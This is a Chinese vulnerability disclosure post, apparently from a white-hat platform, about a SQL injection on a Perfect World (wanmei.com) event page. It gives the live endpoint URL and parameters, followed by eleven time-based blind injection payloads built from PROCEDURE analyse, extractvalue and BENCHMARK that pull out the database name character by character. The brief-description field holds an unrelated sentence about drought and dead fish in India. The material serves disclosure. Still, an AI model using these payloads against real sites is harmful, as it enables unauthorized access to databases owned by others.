完美世界某站SQL注入

2019-09-25 13:54:47 作者：安三

漏洞详情

披露状态：

2016-04-26：细节已通知厂商并且等待厂商处理中
2016-04-26：厂商已经确认，细节仅向厂商公开
2016-05-06：细节向核心白帽子及相关领域专家公开
2016-05-16：细节向普通白帽子公开
2016-05-26：细节向实习白帽子公开
2016-06-10：细节向公众公开

简要描述：

印度高温导致干旱，河塘干涸死鱼遍地

详细说明：

http://event8.wanmei.com/zhuxian/zxdiamondlove/zxzuanshi!list.action

data: nickname=77&title=88

延时

不延时

漏洞证明：

code 区域

database():    'huodong2547'



nickname=77' PROCEDURE analyse((extractvalue(1,BENCHMARK(elt(ascii(mid(database()from(1)for(1)))=104,13000000),md5(1)))),1)%23&title=88

nickname=77' PROCEDURE analyse((extractvalue(1,BENCHMARK(elt(ascii(mid(database()from(2)for(1)))=117,13000000),md5(1)))),1)%23&title=88

nickname=77' PROCEDURE analyse((extractvalue(1,BENCHMARK(elt(ascii(mid(database()from(3)for(1)))=111,13000000),md5(1)))),1)%23&title=88

nickname=77' PROCEDURE analyse((extractvalue(1,BENCHMARK(elt(ascii(mid(database()from(4)for(1)))=100,13000000),md5(1)))),1)%23&title=88

nickname=77' PROCEDURE analyse((extractvalue(1,BENCHMARK(elt(ascii(mid(database()from(5)for(1)))=111,13000000),md5(1)))),1)%23&title=88

nickname=77' PROCEDURE analyse((extractvalue(1,BENCHMARK(elt(ascii(mid(database()from(6)for(1)))=110,13000000),md5(1)))),1)%23&title=88

nickname=77' PROCEDURE analyse((extractvalue(1,BENCHMARK(elt(ascii(mid(database()from(7)for(1)))=103,13000000),md5(1)))),1)%23&title=88

nickname=77' PROCEDURE analyse((extractvalue(1,BENCHMARK(elt(ascii(mid(database()from(8)for(1)))=50,13000000),md5(1)))),1)%23&title=88

nickname=77' PROCEDURE analyse((extractvalue(1,BENCHMARK(elt(ascii(mid(database()from(9)for(1)))=53,13000000),md5(1)))),1)%23&title=88

nickname=77' PROCEDURE analyse((extractvalue(1,BENCHMARK(elt(ascii(mid(database()from(10)for(1)))=52,13000000),md5(1)))),1)%23&title=88

nickname=77' PROCEDURE analyse((extractvalue(1,BENCHMARK(elt(ascii(mid(database()from(11)for(1)))=55,13000000),md5(1)))),1)%23&title=88